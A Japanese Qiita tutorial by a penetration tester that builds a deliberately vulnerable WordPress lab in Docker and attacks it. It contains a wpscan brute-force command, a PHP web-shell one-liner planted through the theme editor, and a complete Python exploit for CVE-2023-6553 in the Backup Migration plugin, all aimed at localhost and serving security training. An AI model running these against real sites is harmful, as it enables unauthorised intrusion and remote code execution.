10
8

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

脆弱なWordPress環境を作成しハックしよう!

Posted at

こんにちわ。株式会社フォアーゼットにてペンテスターをしている蔀です。

この記事では、脆弱なWordPress環境を作成し、実際に侵入の練習をするデモ環境を作成します。

概要

脆弱性を自身で作り、侵入を行い、直すというオペレーションをしたい人にとって有用な記事です。

Hardeningなどの対策にも有効ですので、ご活用ください。

  • Docker環境でデモを行うことを前提としております。

注意

不正アクセスなどの罪に当たらないよう、診断が許可されていないパブリックのサイトに向けてのスキャン等は気を付けてください。
当記事の内容において発生した損害等におきましては、寄稿者及び弊社は一切の責任を負いません。 ご了承ください。

実際に稼働しているサービス等に診断を行いたい場合には、弊社のバグバウンティプラットフォーム「ZoneZero」をご活用ください。

セットアップ手順

docker-compose.ymlを作成します。

docker-compose.yml
version: '3'

services:
  db:
    image: mysql:5.7
    volumes:
      - ./mysql:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
    volumes:
      - ./wordpress:/var/www/html

volumes:
  db_data:

これをひとまず保存しましょう。

次に、コマンドラインにて以下コマンドを打ち込み起動します。

docker-compose up -d

こちらにアクセスすると、初期セットアップ画面が表示されます。

セットアップをこのまま完了させてください。
非常に簡単ですね。

脆弱性の作りこみ

次に、脆弱性の作りこみを行います。

脆弱なパスワードを利用したユーザー

まずは、testユーザーを作成します。

ユーザー一覧を開き、「新規ユーザーを追加」を選択します。

image.png

後ほどのデモで利用するので、簡単なパスワードを設定しましょう。また、権限に関しては「管理者」にしましょう。

image.png

脆弱なプラグインの導入

Backup Migrationのバージョン1.3.7以前には CVE-2023-6553 の「認証を必要としないOSコマンドインジェクションの脆弱性」が存在します。

詳細はこちらをご覧ください。

以下から古いバージョンのBackup MigrationのZipファイルを取得します。

後に、「新規プラグインを追加」から「プラグインのアップロード」を選択後、Zipファイルをアップロードします。

image.png

シナリオ・悪用方法

次に、2つのシナリオから脆弱性の悪用方法を学びます。

シナリオ1:脆弱なパスワードの利用により管理コンソールからRCE

ブルートフォース攻撃を仕掛けます。

wpscanを利用してブルートフォース攻撃が簡単に可能です。

wpscan --password-attack xmlrpc -t 20 -U test -P passwords.txt --url http://localhost:8000

結果を抜粋:

[!] Valid Combinations Found:
 | Username: test, Password: test

testユーザーのパスワードはtestであることが分かりました。

ログインページからtest:testを利用してログインを行い、

ツール → テーマファイルエディタ → templates → Twenty Twenty-Three: hidden-404.php (patterns/hidden-404.php) にアクセスします。

以下のようなURLでもアクセスが可能です。

http://localhost:8000/wp-admin/theme-editor.php?file=patterns%2Fhidden-404.php&theme=twentytwentythree

次に、最初のPHPのヘッド欄に、以下のコードを追加します。

<?php system($_GET['cmd']); ?>

これにより、http://localhost:8000/wp-content/themes/twentytwentythree/patterns/hidden-404.phpにきたGETリクエストのcmdにコマンドを指定することで、内部でコマンドを走らせることができます。

curl http://localhost:8000/wp-content/themes/twentytwentythree/patterns/hidden-404.php?cmd=id

バックドアを作成し、コマンドを実行することができました。

シナリオ2:脆弱なプラグインの利用によりRCE

脆弱なプラグインの悪用方法は以下のようなGitレポジトリで公開されています。

少し改変したものを以下に掲載しています。

import base64
import requests


def main():
	print("Enter the URL of the target WordPress site")
	print("default: http://localhost:8000/")
	url = input(">>> ")
	if url == "":
		url = "http://localhost:8000/"
	
	print("Enter the command to execute")
	cmd = input(">>> ")
	cmd = "<?php `" + cmd.replace("\n","") + " > out.txt `;?>"
	print("execute:",cmd)

	payload = generate_filter_chain(cmd)
	headers = {"Content-Dir": payload}
	response = requests.post(f"{url}/wp-content/plugins/backup-backup/includes/backup-heart.php", headers=headers)
	print(response.status_code)

	req = requests.get(f"{url}/wp-content/plugins/backup-backup/includes/out.txt")
	
	print("-----------------")
	print(req.text)
	print("-----------------")


'''
synacktiv/php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
'''

def generate_filter_chain(chain):
	chain = chain.encode('utf-8')
	chain = base64.b64encode(chain).decode('utf-8').replace("=", "")

	conversions = {
		"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
		"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
		"2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
		"3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
		"4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
		"5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
		"6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
		"7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
		"8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
		"9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
		"A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
		"a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
		"B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
		"b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
		"C": "convert.iconv.UTF8.CSISO2022KR",
		"c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
		"D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
		"d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
		"E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
		"e": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
		"F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
		"f": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
		"g": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
		"G": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
		"H": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
		"h": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
		"I": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
		"i": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
		"J": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
		"j": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
		"K": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
		"k": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
		"L": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
		"l": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
		"M": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
		"m": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
		"N": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
		"n": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
		"O": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
		"o": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
		"P": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
		"p": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
		"q": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
		"Q": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
		"R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
		"r": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
		"S": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
		"s": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
		"T": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
		"t": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
		"U": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
		"u": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
		"V": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
		"v": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
		"W": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
		"w": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
		"X": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
		"x": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
		"Y": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
		"y": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
		"Z": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
		"z": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
		"/": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
		"+": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
		"=": "",
	}

	encoded_chain = chain
	# generate some garbage base64
	filters = "convert.iconv.UTF8.CSISO2022KR|"
	filters += "convert.base64-encode|"
	# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
	filters += "convert.iconv.UTF8.UTF7|"

	for c in encoded_chain[::-1]:
		filters += conversions[c] + "|"
		# decode and reencode to get rid of everything that isn't valid base64
		filters += "convert.base64-decode|"
		filters += "convert.base64-encode|"
		# get rid of equal signs
		filters += "convert.iconv.UTF8.UTF7|"

	filters += "convert.base64-decode"

	final_payload = f"php://filter/{filters}/resource=php://temp"
	return final_payload


if __name__ == "__main__":
	main()

このような形で認証されていないユーザーからRCEを行うことができます。

┌──(ayato㉿AyatoDesktop)-[~/Fore/wordpress-vuln-lab]
└─$ python3 poc-chk-vuln.py
Enter the URL of the target WordPress site
default: http://localhost:8000/
>>> 
Enter the command to execute
>>> pwd
execute: <?php `pwd > out.txt `;?>
200
-----------------
/var/www/html/wp-content/plugins/backup-backup/includes

-----------------

対策

以上を踏まえて、このような対策をすることでシナリオの完遂ハードルを上げることができます。

  • 複雑なパスワードを利用
  • プラグインのアップデート
  • プラグインの自動アップデートの有効化

まとめ

世界の公開されたサイトの40%以上がWordPressで構築されていると言われています。
セキュアなWordPress利用を心がけましょう!

10
8
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
10
8

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?